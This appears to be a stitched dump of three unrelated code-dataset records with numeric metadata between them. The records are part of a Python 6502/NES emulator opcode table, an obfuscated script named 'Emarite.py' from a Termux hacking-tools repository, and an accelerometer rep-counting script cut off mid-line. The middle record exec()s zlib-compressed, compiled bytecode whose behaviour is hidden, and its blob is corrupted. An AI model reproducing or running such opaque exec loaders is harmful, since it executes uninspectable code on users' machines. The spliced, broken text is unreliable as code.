self.pc_state, self.aZPX, self.r, self.nullW, self.instruction_exe.OR_exec) self.instruction_lookup[0x11] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIZY, self.r, self.nullW, self.instruction_exe.OR_exec) self.instruction_lookup[0x0D] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbs, self.r, self.nullW, self.instruction_exe.OR_exec) self.instruction_lookup[0x1D] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbx, self.r, self.nullW, self.instruction_exe.OR_exec) self.instruction_lookup[0x19] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAby, self.r, self.nullW, self.instruction_exe.OR_exec) # ROL self.instruction_lookup[0x26] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZP, self.r, self.w, self.instruction_exe.ROL_exec) self.instruction_lookup[0x36] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZPX, self.r, self.w, self.instruction_exe.ROL_exec) self.instruction_lookup[0x2E] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbs, self.r, self.w, self.instruction_exe.ROL_exec) self.instruction_lookup[0x3E] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbx, self.r, self.w, self.instruction_exe.ROL_exec) self.instruction_lookup[0x2A] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAcc, self.aR, self.aW, self.instruction_exe.ROL_exec) # ROR self.instruction_lookup[0x66] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZP, self.r, self.w, self.instruction_exe.ROR_exec) self.instruction_lookup[0x76] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZPX, self.r, self.w, self.instruction_exe.ROR_exec) self.instruction_lookup[0x6E] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbs, self.r, self.w, self.instruction_exe.ROR_exec) self.instruction_lookup[0x7E] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbx, self.r, self.w, self.instruction_exe.ROR_exec) self.instruction_lookup[0x6A] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAcc, self.aR, self.aW, self.instruction_exe.ROR_exec) # SBC self.instruction_lookup[0xE1] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIZX, self.r, self.nullW, self.instruction_exe.SBC_exec) self.instruction_lookup[0xE9] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIMM, self.r, self.nullW, self.instruction_exe.SBC_exec) self.instruction_lookup[0xE5] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZP, self.r, self.nullW, self.instruction_exe.SBC_exec) self.instruction_lookup[0xF5] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZPX, self.r, self.nullW, self.instruction_exe.SBC_exec) self.instruction_lookup[0xF1] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIZY, self.r, self.nullW, self.instruction_exe.SBC_exec) self.instruction_lookup[0xED] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbs, self.r, self.nullW, self.instruction_exe.SBC_exec) self.instruction_lookup[0xFD] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbx, self.r, self.nullW, self.instruction_exe.SBC_exec) self.instruction_lookup[0xF9] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAby, self.r, self.nullW, self.instruction_exe.SBC_exec) # STA self.instruction_lookup[0x81] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIZX, self.nullR, self.regW, self.instruction_exe.STA_exec) self.instruction_lookup[0x85] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZP, self.nullR, self.regW, self.instruction_exe.STA_exec) self.instruction_lookup[0x95] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZPX, self.nullR, self.regW, self.instruction_exe.STA_exec) self.instruction_lookup[0x91] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIZY, self.nullR, self.regW, self.instruction_exe.STA_exec, self.pc_state.CYCLES_TO_CLOCK) self.instruction_lookup[0x8D] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbs, self.nullR, self.regW, self.instruction_exe.STA_exec) self.instruction_lookup[0x9D] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbx, self.nullR, self.regW, self.instruction_exe.STA_exec, self.pc_state.CYCLES_TO_CLOCK) self.instruction_lookup[0x99] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAby, self.nullR, self.regW, self.instruction_exe.STA_exec, self.pc_state.CYCLES_TO_CLOCK) # SAX self.instruction_lookup[0x83] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIZX, self.nullR, self.regW, self.instruction_exe.SAX_exec) self.instruction_lookup[0x87] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZP, self.nullR, self.regW, self.instruction_exe.SAX_exec) self.instruction_lookup[0x8F] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbs, self.nullR, self.regW, self.instruction_exe.SAX_exec) self.instruction_lookup[0x97] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZPY, self.nullR, self.regW, self.instruction_exe.SAX_exec) # STX self.instruction_lookup[0x86] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZP, self.nullR, self.regW, self.instruction_exe.STX_exec) self.instruction_lookup[0x96] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZPY, self.nullR, self.regW, self.instruction_exe.STX_exec) self.instruction_lookup[0x8E] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbs, self.nullR, self.regW, self.instruction_exe.STX_exec) # STY self.instruction_lookup[0x84] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZP, self.nullR, self.regW, self.instruction_exe.STY_exec) self.instruction_lookup[0x94] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZPX, self.nullR, self.regW, self.instruction_exe.STY_exec) self.instruction_lookup[0x8C] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbs, self.nullR, self.regW, self.instruction_exe.STY_exec) # DCP self.instruction_lookup[0xC3] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIZX, self.r, self.w, self.instruction_exe.DCP_exec) self.instruction_lookup[0xC7] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZP, self.r, self.w, self.instruction_exe.DCP_exec) self.instruction_lookup[0xD7] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZPX, self.r, self.w, self.instruction_exe.DCP_exec) self.instruction_lookup[0xD3] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIZY, self.r, self.w, self.instruction_exe.DCP_exec) self.instruction_lookup[0xCF] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbs, self.r, self.w, self.instruction_exe.DCP_exec) self.instruction_lookup[0xDF] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbx, self.r, self.w, self.instruction_exe.DCP_exec) self.instruction_lookup[0xDB] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAby, self.r, self.w, self.instruction_exe.DCP_exec) # JSR self.instruction_lookup[0x20] = instructions.JumpSubRoutineInstruction(self.clocks, self.pc_state, self.memory, None) # Barnch # BPL case 0x10: if (self.pc_state.P.status.N == 0) self.instruction_lookup[0x10] = instructions.BranchInstruction(self.clocks, self.pc_state, self.memory, 0x80, 0x00, None) # BMI case 0x30: if (self.pc_state.P.status.N == 1) self.instruction_lookup[0x30] = instructions.BranchInstruction(self.clocks, self.pc_state, self.memory, 0x80, 0x80, None) # BVC case 0x50: if (self.pc_state.P.status.V == 0) self.instruction_lookup[0x50] = instructions.BranchInstruction(self.clocks, self.pc_state, self.memory, 0x40, 0x00, None) # BVS case 0x70: if (self.pc_state.P.status.V == 1) self.instruction_lookup[0x70] = instructions.BranchInstruction(self.clocks, self.pc_state, self.memory, 0x40, 0x40, None) # BCC case 0x90: if (self.pc_state.P.status.C == 0) self.instruction_lookup[0x90] = instructions.BranchInstruction(self.clocks, self.pc_state, self.memory, 0x01, 0x00, None) # BCS case 0xB0: if (self.pc_state.P.status.C == 1) self.instruction_lookup[0xB0] = instructions.BranchInstruction(self.clocks, self.pc_state, self.memory, 0x01, 0x01, None) # BNE case 0xD0: self.clocks += 2*CYCLES_TO_CLOCK if (self.pc_state.P.status.Z == 0) self.instruction_lookup[0xD0] = instructions.BranchInstruction(self.clocks, self.pc_state, self.memory, 0x02, 0x00, None) # BEO case 0xF0: if (self.pc_state.P.status.Z == 1) self.instruction_lookup[0xF0] = instructions.BranchInstruction(self.clocks, self.pc_state, self.memory, 0x02, 0x02, None) self.instruction_lookup[0x40] = instructions.ReturnFromInterrupt(self.clocks, self.pc_state, self.memory, None) # RTS self.instruction_lookup[0x60] = instructions.ReturnFromSubRoutineInstruction(self.clocks, self.pc_state, self.memory, None) # JMP, absolute (effectively immediate) self.instruction_lookup[0x4C] = instructions.JumpInstruction(self.clocks, self.pc_state, self.aAbs, None) # JMP, indirect (effectively absolute) self.instruction_lookup[0x6C] = instructions.JumpInstruction(self.clocks, self.pc_state, self.aInd, None) # PHP self.instruction_lookup[0x08] = instructions.PHPInstruction(self.clocks, self.pc_state, self.memory, None) # PLP self.instruction_lookup[0x28] = instructions.PLPInstruction(self.clocks, self.pc_state, self.memory, None) # PHA self.instruction_lookup[0x48] = instructions.PHAInstruction(self.clocks, self.pc_state, self.memory, None) # PLA self.instruction_lookup[0x68] = instructions.PLAInstruction(self.clocks, self.pc_state, self.memory, None) # Illigal instructions # SLO self.instruction_lookup[0x07] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZP, self.r, self.nullW, self.instruction_exe.SLO_exec) # Undocumented instructions self.instruction_lookup[0x04] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZP, self.nullR, self.regW, self.instruction_exe.NOP_exec) self.instruction_lookup[0x14] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZPX, self.nullR, self.regW, self.instruction_exe.NOP_exec) self.instruction_lookup[0x34] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZPX, self.nullR, self.regW, self.instruction_exe.NOP_exec) self.instruction_lookup[0x44] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZP, self.nullR, self.regW, self.instruction_exe.NOP_exec) self.instruction_lookup[0x54] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZPX, self.nullR, self.regW, self.instruction_exe.NOP_exec) self.instruction_lookup[0x64] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZP, self.nullR, self.regW, self.instruction_exe.NOP_exec) self.instruction_lookup[0x74] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZPX, self.nullR, self.regW, self.instruction_exe.NOP_exec) self.instruction_lookup[0x80] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIMM, self.nullR, self.regW, self.instruction_exe.NOP_exec) self.instruction_lookup[0x82] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIMM, self.nullR, self.regW, self.instruction_exe.NOP_exec) self.instruction_lookup[0x89] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIMM, self.nullR, self.regW, self.instruction_exe.NOP_exec) self.instruction_lookup[0xC2] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIMM, self.nullR, self.regW, self.instruction_exe.NOP_exec) self.instruction_lookup[0xD4] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZPX, self.nullR, self.regW, self.instruction_exe.NOP_exec) self.instruction_lookup[0xE2] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIMM, self.nullR, self.regW, self.instruction_exe.NOP_exec) self.instruction_lookup[0xF4] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZPX, self.nullR, self.regW, self.instruction_exe.NOP_exec) # LAX self.instruction_lookup[0xA7] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZP, self.r, self.nullW, self.instruction_exe.LAX_exec) self.instruction_lookup[0xB7] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZPY, self.r, self.nullW, self.instruction_exe.LAX_exec) self.instruction_lookup[0xAF] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbs, self.r, self.nullW, self.instruction_exe.LAX_exec) self.instruction_lookup[0xBF] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAby, self.r, self.nullW, self.instruction_exe.LAX_exec) self.instruction_lookup[0xA3] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIZX, self.r, self.nullW, self.instruction_exe.LAX_exec) self.instruction_lookup[0xB3] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIZY, self.r, self.nullW, self.instruction_exe.LAX_exec) # ASR self.instruction_lookup[0x4B] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIMM, self.r, self.nullW, self.instruction_exe.ASR_exec) # SBX self.instruction_lookup[0xCB] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIMM, self.r, self.nullW, self.instruction_exe.SBX_exec)
98.395349
197
0.759543
4,450
33,848
5.59573
0.085393
0.213847
0.109554
0.11867
0.843299
0.841091
0.819365
0.811895
0.779567
0.77025
0
0.017516
0.127984
33,848
343
198
98.682216
0.826128
0.030401
0
0.008621
0
0
0.000489
0
0
0
0.024919
0
0
1
0.030172
false
0
0.012931
0
0.051724
0
0
0
0
null
1
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
59615b3836eb35dfa9694a2ef16ac67ab3458829
66,665
py
Python
UAE-main/Emarite.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-17T03:35:03.000Z
2021-12-08T06:00:31.000Z
UAE-main/Emarite.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
null
null
null
UAE-main/Emarite.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-05T18:07:48.000Z
2022-02-24T21:25:07.000Z
# ECRYPT BY Boy HamzaH # Subscribe Cok Chanel YouTube Gua Anjing # Dan Jangan Lupa Follow Github Gua exec((lambda _____, ______ : ______(eval((lambda ____,__,_ : ____.join([_(___) for ___ in __]))('',[95, 95, 105, 109, 112, 111, 114, 116, 95, 95, 40, 34, 122, 108, 105, 98, 34, 41, 46, 100, 101, 99, 111, 109, 112, 114, 101, 115, 115],chr))(_____),"<haMzah>","exec"))(b'x\x9cU}g[\x15M\xb7\xf4\xf7\xf3+\x10\x15Q\x11&\x07\x13*7A\x051!i\x14\xba\'\x00J\x96(\xe0o\x7fw\xd5\xaa\xc1\xe7=\xd7\xf1\xb9\x15\xf6\x9e\xd0\xbdb\xadZ\xab\xef\x0eMO}^\xfd\xf8u\xe8\xcd\xea\xd0\x9b\x83\xcb\xa19\xb7\xf7\xc7\xcd\xfd\xdf\xdd\xa1/\xa7\xfew}\xbc\xe3\xdb\xa1\xa9\x83_CS\xdbn\xbf\xdd\x1dZ=8\xfdz:\xf8\xd1\xec\xa9\x1bz\xbd\xffsg\x7fk\xf0\xc9\xff\xdc\xfe\xd0;\xb7\xb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\x80!\xac\x9f\xb7\xcd\xc3\x95\x88\xb6A\xcc\xbb\x17\xacn\xd4f\xa8Bq6j\x07\xc83\xb5`\xa6\xa0\x7f\xa1\xec\xfeV\xc6\x855\xa61p\xca\x18X\x84\x8c\x15\xe9\x15\xbaa\xbe(\xab\\@\xa1\x19.\xd5\xdb\xb8\xff\x85-B\xd8!\x9e\x0b\x17>~1K\xeb\xba\x99\'\xb8\x01\xf42\x18\xaen\x81X\xb8x\x9f\x8c\xdc\xd8\xb3\x95x3\xa2r\x00x\xe2\'\x96o\x05\xf9\xea\xdb\xe3\xa9w\xd8\xcb\x91J%\xcc\xb5eE\x03\xac#\xa3\xe4\x07CR\xb8\xd77\x87\xb6\xf7\x14I\xb8\xb7p\xa0\x9a\xd5\x1d)\x08\x10\x0c\xc6\'X\x0c\xb7\xbdp) \x04_hwlA\x03\xbd\xab\xaf\x1fB\xaaA\xce\xc9\x11\xa8u\x9bO\xfeEhM"\x04\x9e\xb5\xaec{\xd0\x06E\xaaR\xe5\r\xa2\x02\xb1mb\x11\xc3(\xb4\xff!f\x89\x91\x9cd\xef\x04Q\xe6K\x17{\xb0\xb9\x17\xca\xbca\xccx\xed\xdc\xbc6\xa3\x87D\xd5l\xc2&\xd0\xf5X\x02\xd2(\x1b\xc5\x92\x95\xc2\xcbH9\xa9Q\xa2IC{;\x17}Z\x186\xb7\n#\x14\x90y1j\x1a\x14:\x01\xd7,\xedG\x0b\'\xeb\x17f\x97Y\x9f\xbe\xb5B5\xaay\xd1w)P\x83=/\x14\xe6\x94\t\xecfv\xaf:y$\xd9\xa3\xefa\x06=39V*Z\x0c\x954ber\x14\x9f\x8b\x9f\x12z U,>\xd3\x8e\xe7\xcc?\x06\xbb\x06\xaf\x1c\x01*/D\xa4\x80Q\xb2|\r%\xae\xf6/\xa2\xca\x061\x01\xae\xdb%\xf9\x96\x19k\xdc\x8d&\xa15\x87\xe4\x00\xc6\xd6\xf5\xa6%\x96\x05"+.\xb2\x9b\xc6_&f!\x16\x0c\xaa\x82\xe9\xad\xfbf\x81 \x8a]}wF\xc1]\xac\xd5H\x85,&Cc\x8b\xe6@\n\xd4\xee\x19\x13\x88\x0c\xc5\x92\x06l^;c\x06\x0f\x8b\xdd\x12\x8e@9&G\xc8\xd2\xd2\x0c\x03y\xa4\x07F\x0c\x11O\xea\x99E.AT\xdc\xb5\xf4\x9d\x89\t#\xde\x84\xc8g\x8f\xf2\xe7w\x8e\xa7?W\xc7O-\x88)\x9b\'\x16\xd95\xd9\xc7\x7f\x89\x1e\x16\xbb\xf6S\xdb\x12\x14r\x1d.m\xe7\\I\xdc\xb0\xbc3m\x16\xbb\x8c\xc7mu\xeb\xec\x9b\x85\x05=<U\xaa\x84\x02wW\x96\xbaK\xf4?\x06\xb6\xb4\xcf\x16\xa4\xf9\x8c_\xae\x99\x935\xaa\x94p\x97\xfa\xe0\x95}\xa9!\'-~W\x92\xdd\x82\xfb\x06\x90,R\xa5\xf2;&\x89ey41n\x81.\tB\xc1\\\xb1\xb6\x89\x8d\x991\xb8\xa9P%\x81\x0e \xefK_\xde\x02\xe5\xbaY\xff\x021zd\x92\x0bw\xd5\xe6\x89\x00\x05\'C\x86GJ\xd6m\xc9\x89\xe3#\xef\xa4<tsCO\xd3\x99\xe4\xc8\x16)\xa8\x87\xa1\x9bp\xca\x9d\x9b\xb2\r\xad\xd3i\x13W\x96\xc5\xda7p\x12\x87&mu<y1\xf1\xdb\tG\xc5\xab\x10;\x87\xa7gu\x03\xa8W\xa9\x020\xbc%\xa533\xa3^\xb3\xc8\xb39\xb5d\xaf\x11v"\x16\x90\xb4\x11\xedY\x00\xc4(\xa7QpN&\xc3O\xfba\x1d\xed+\x9a\xf2Cf\x01\\1\xba\xb1g\xab_G\x1b?\xb0\xbe\xc9\xcbwoL\x9bJi\x1b\xde\x91\xce\xa4VDP\xb4G\x12\xc0R\xa9\x19\x00&f\x88\xac~\x1d\x9f*a\xe5~a\x8d\xdb1{]b\x1c\xaa\xc4\x92\x1d\x18\xbe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&\x84\xb7\xc3\x94\xb3\xb2\x90!a\x84\x80RB\x8b\xf9\x0fe23d+\xd2\xeaO\xa3T\xc2\xbafF\xee|1/EKC\xd1,\x95\x97\xc2Nes\x9f,hm\xba\x0f\xdb&Te:\x941\x94x\xb0u\x8e\x1ca\x07\x979\x9e\xb4D\xd7+\xd7\'\x14\xde\xed\xed\x1d(\x82s\xf1\xc2\xb8\xeds\x81B\x83\xf5A\xde\xd7O\xd2\x959\xb3\xd0\xad\xc3\xcc\\,E\xe9\x8f\xcdI\x96}(\x8e\'/\x8e \xb5H\xbfb<5 (*\r\xe9;\xaf\xd9A\xb3\n\xa4\x14\xd0#\xf1\xffF\xe0\xadt\xbfH\xba\xbb4\x90>\x9d\x9d3\xe3\xd7f\x10\xda\xb8\xe7_\xb8n\xaa\x9d^\xc2\x80\xc2\xf2\x1e\x10\xb8@\r\x9cMK:,I\xe6w7\xc9d\xc9\xec\xc18?-\x8c\x8e\xf7O\xcc\x82\xf0>\xe5\xeb/\x16\xafp\x9b\xe0#\x0b\xea\xa4\xff9\x8cG&8re\x8a\xd3\xd4;\x94\xc0}\xdb9\xa6\x02BUB\xf2J\xbd\xea\x08\xdd\xf4\r\xae\x9e\xde?R\t\r\x93\x12K\x92\r\x90\xfezt\x8d\xd4\x11\xeb"\xd3\xd7\x96\xb2wa\xfa\xcc\x0c\x91\xcb~\xd1\x94=\x98?8\x84\x80\xfd\x1a\x02\x8f\x03\xb6\xd4\xbb\x93\x9b\xeav\xe28\x93\x15\xecD\xb3\x0c\xf39\x89"F\xfe\xf07r\xcd\xf8\x1b\xbcl\xf3?b\x87\xcf1Db\x92\x12&\x97&X\x9c\x8a\x99\xae\x00\xef\xabG&\xec\x95\xbalc=\x90^3\x87v\xb2\xbf\xcaHI\x94\xc6\xe0\x05\xba\xd1N\xb8g\xa81\x08\x19j\x90d\xf2\x86\xc3w\xa0\x12`r8\x8e\x81\xf5\xb3\xe6\xaf\x06\xba[\x81b\xdc"{%}\x05N\x98\x06\x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\x9bE\xban\xbb\xd4\x81\xdc\xcex\xa7K^6{2\x1b\xf5c\xf3 \x01\x98\x8dm\xf8\xcd\x0c-\xf1\xa1\xec\xce\xabu\x13[\x8e\x91#\x1787i\xb4\xdeZ\xf9LV\x14\xbeWj\xeb\xc0\x0f\xe8k\x13\x810\xe5\xb2@\xba\xd4\xa4\x99S\x16\x994u:\xd5>\xb7\xe8\xad+zS\x85\x8dF\x1c\xc3smP\xa8\xaa\x85\x86\xf4\xdc\x07\xce\x14\xf0\xdf\xcf\xb0\x87}\xfb\xafBv\x8ej\xc0\nw{8\x8f\x16\xde\xce\xe1T\xc6\xa6\x018\x83\xfe\xc7\x86\xdc\xfd\xa0\xfa\x07\xe3\xbb\xef/\xb9\x91\'\xff\x92+\xdf\xa2\xb8\xe4\xf3\x9fSP\xe2\x94_a\x91\xea\x95\xc20\xab#x\x8bHik\x13\xa58\x18\x9fI<\xb1Y\x82\xcfe\xc7#\x81\x92\x0f\xa6\x1e\x1c\x1f.m\xeb0\xc5\xa7\x01\xb3\xc5\x19\x1b)\x91\xd7e\xffc-\x88\x18\xcb\x90\xa8\xc6\xc5\xa2j\x8b\x01\xac\xeeD(\x10\xd3\xc7\xc4\x9e\xab\xa7\x0e\x97\xe99\x8f\xf4b\xec\x10\x87\x13 \n\xa0\xe1\xb4\xcd\xff\xba;\x95\x0e\x83\xc5"\xae\xd0*(` g\xddk[\x94\x076\xb9\xd0\xe6:g\xf3\xa7\xf5\xa8\x8f\x98\xd2\x12\xdf\xc5f6<pr\xd6\xf4\xa1?\x16\xbd\x10=\x85#40g\x95z[\xe2\xfa\x1a\\\xd7Dh\xe3`\x8f\x87\xfbfON\x12X^\x9d|\xa8n{X9{\xbby\xdc\x83<SGOe\xc1#\x19\xe7\xfaK\x7ff\x02y5\xcbD8\x9c\x89U\xa0\x15\xe5\xc0\xd2\xda\xec\x0c{B=\xab\x85\x7fmCX(\x10\xb5\xb9T\xaa[+a\xb5V\x97\xa7\xe8\x82\t\xbe\xb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,s\xd9\x1d\xb70\x82e\xff\xc8\xa4\xc4\x05 \xf8\xf85 \xbd\x18(\xf7\xbf\xae\x8a\x93\xf8\x95\xcc\xb5n\xd8_\x8e\x9b\xa7\'A\xb8\x15~L\xf2\x02\xf6\x8a\xcd\xd5\xa0\xf83\xf4\x88\x83Xe\x08\x16\x9f\xcbc\x8cz-\x84\xf93\x9d\xc0\xe6e/\x97\x04\x8f\xb1\xc0\xed&V\xde\xd8\xe3y\x16\xe8<XZA\x16*?\xa8\x8f:{\xa7\xb2xe\x89 \xe4!\x84=s\x19\xca\xbc\xdd\xb3km1\xb6\xad\x1ec\x12\xf8q(\xa8D}\x92\x10\xa7\x12[\x92\x83\xea\xcd\xef\xf6\xc6\x1c\x0bB\x06\x03\x0e\xb3#\x08\xc4\x01\x9d$=\x8f\x9c\xf6\xf6\xb5\xb2i\x8fT\xba\x80\xc5\x9c\xcfb\xdc:x\x16\x9f\xe1Ps\x16\x17\xba\xe6J\xf1{\xd1\x14\xd3\xd054\xa2:`\x86\xadX7egw\x1a\x84\xde\xc7&\x98a\x9f\xb2\xc8\xd0\xf9\x06\xfb\x13\xbd\xa2\x9d\x7f \xd0\x18\x02\x86\xd9\x10=\x16Y\x8a\xc7\xca\x87\x0e\x97\xefx-on.\x8500\xb1\xd9\x8d\xc8,\x11\x1b7\xdc\x9fq\t55\xfb\x8eE\xb1l4l\xb2\xdf\x0f\x7f?4\xdd\xef0\xd1\xac.\xc0\xcd\x85\x8f"_\x16\x01{\xe3\x87\x87\xf5\xf48\xac\x8d!\x82\xce/N\xae\xc7,\xf8p\xe0ps6)\xfe\x87\x83:ka\xba\xae>\xc0GS\x94\xb6\x90\xcep\x961N^\x0f\xb2O\xe6\x8d\xd9_J\xfe\xda=\xb3<\xa5?\x12\x8c\xae\x04\xb7U\xd2\xde\n\x95g\x116\xb4\xa0\xc1\xd8\x19gK\xf6\x93\xfeT:\x18\x91\x00g\xe7\xf4}\x86\xb5\x02\x0f\xdf<\x86\xb5\xc5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x0b\xa5\x88N<eT\x9c\x1a\xf2y\xfd/V\x1e^\xa1x\\\xfc\xaa\xfe\x9d\\A0\xe3\xad\x12P\x9e\x8b\x80I\x0b\x83\xa8\xa0"\x1f\xeb\xbfms\x80\xd4\x10T\t\x00\\xy\x1d\x8e\x9dn\x14\xba\xb0\xea\xcbR&\x983\xdd\xe4\'\xc3nxp/\r;\xce\x1d\x0c\x10\xfc\x10\xd5\xa3\xdd}a\xa9H\xd7>\x18\xab\x0f\xf6\x0ewv\xdb\x87\x0f\xff\x1f@\x94\x99e',compile))
13,333
66,563
0.734133
15,324
66,665
3.185656
0.217306
0.000492
0.000369
0
0
0
0
0
0
0
0
0.234548
0.00231
66,665
4
66,564
16,666.25
0.499421
0.00141
0
0
0
62
0.628825
0.627052
0
0
0
0
0
1
0
true
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
1
1
1
0
0
0
0
1
1
1
null
0
0
0
0
0
0
1
0
0
0
0
0
0
9
597f949e1063f6e9544bf4083a92b258986f592a
233
py
Python
models/__init__.py
briana-jin-zhang/spatial-segmentation
1e9716d71692eebd5794f9129b833315625661fc
[ "Apache-2.0" ]
733
2020-04-05T20:59:38.000Z
2022-03-27T05:01:29.000Z
models/__init__.py
PooyaAlamirpour/deocclusion
17e4a93dad1369ceb4d91c4564a93c99af398c77
[ "Apache-2.0" ]
44
2020-04-26T10:53:25.000Z
2022-01-13T02:29:29.000Z
models/__init__.py
PooyaAlamirpour/deocclusion
17e4a93dad1369ceb4d91c4564a93c99af398c77
[ "Apache-2.0" ]
98
2020-04-07T10:43:37.000Z
2022-03-27T05:01:32.000Z
from . import backbone from .losses import * from .single_stage_model import * from .supervised import * from .partial_completion_mask import * from .partial_completion_content import * from .partial_completion_content_cgan import *
29.125
46
0.824034
30
233
6.1
0.433333
0.273224
0.278689
0.442623
0.371585
0
0
0
0
0
0
0
0.120172
233
7
47
33.285714
0.892683
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
59d3445028606b82be65d9bc12a8374f4aca248a
10,643
py
Python
PythonNetwork/signalProcessing.py
Moldovandreii/RepetitionCount
b5715b0948b609fde0ce05d45023b7d4cfd635e7
[ "FTL" ]
null
null
null
PythonNetwork/signalProcessing.py
Moldovandreii/RepetitionCount
b5715b0948b609fde0ce05d45023b7d4cfd635e7
[ "FTL" ]
null
null
null
PythonNetwork/signalProcessing.py
Moldovandreii/RepetitionCount
b5715b0948b609fde0ce05d45023b7d4cfd635e7
[ "FTL" ]
null
null
null
import numpy as np from scipy.signal import find_peaks import matplotlib.pyplot as plt import charts import database as db def findPeaksBenchPress(accXData, accYData, accZData, millis): signal = accXData y = np.array(signal) x = np.array(millis) # find peaks - normal execution peaks = find_peaks(y, height=(5, 19), width=3) # peaks = find_peaks(y, height=(-10, 10), distance=20) height = peaks[1]['peak_heights'] peak_pos = x[peaks[0]] # find minima y2 = y*-1 minima = find_peaks(y2, height=2) min_pos = x[minima[0]] min_height = y2[minima[0]] real_min_height = min_height*-1 # plot data # charts.plotAccData(accXData, accYData, accZData, millis, peak_pos, height, min_pos, real_min_height) #plt.show() # find peaks - half rep peaksHR = find_peaks(y, height=(-5, 3)) heightHR = peaksHR[1]['peak_heights'] peak_posHR = x[peaksHR[0]] message = str(len(peak_pos)) print "Number of reps =", message return message def findPeaksDeadlift(accXData, accYData, accZData, millis): signal = accXData y = np.array(signal) x = np.array(millis) # find peaks peaks = find_peaks(y, height=(-10, 10)) height = peaks[1]['peak_heights'] # list of the heights of the peaks peak_pos = x[peaks[0]] # list of the peak positions # find minima y2 = y * -1 minima = find_peaks(y2, height=2) min_pos = x[minima[0]] # list of the minima positions min_height = y2[minima[0]] # list of the mirrored minima heights real_min_height = min_height * -1 # plot data # charts.plotAccData(accXData, accYData, accZData, millis, peak_pos, height, min_pos, real_min_height) # plt.show() message = 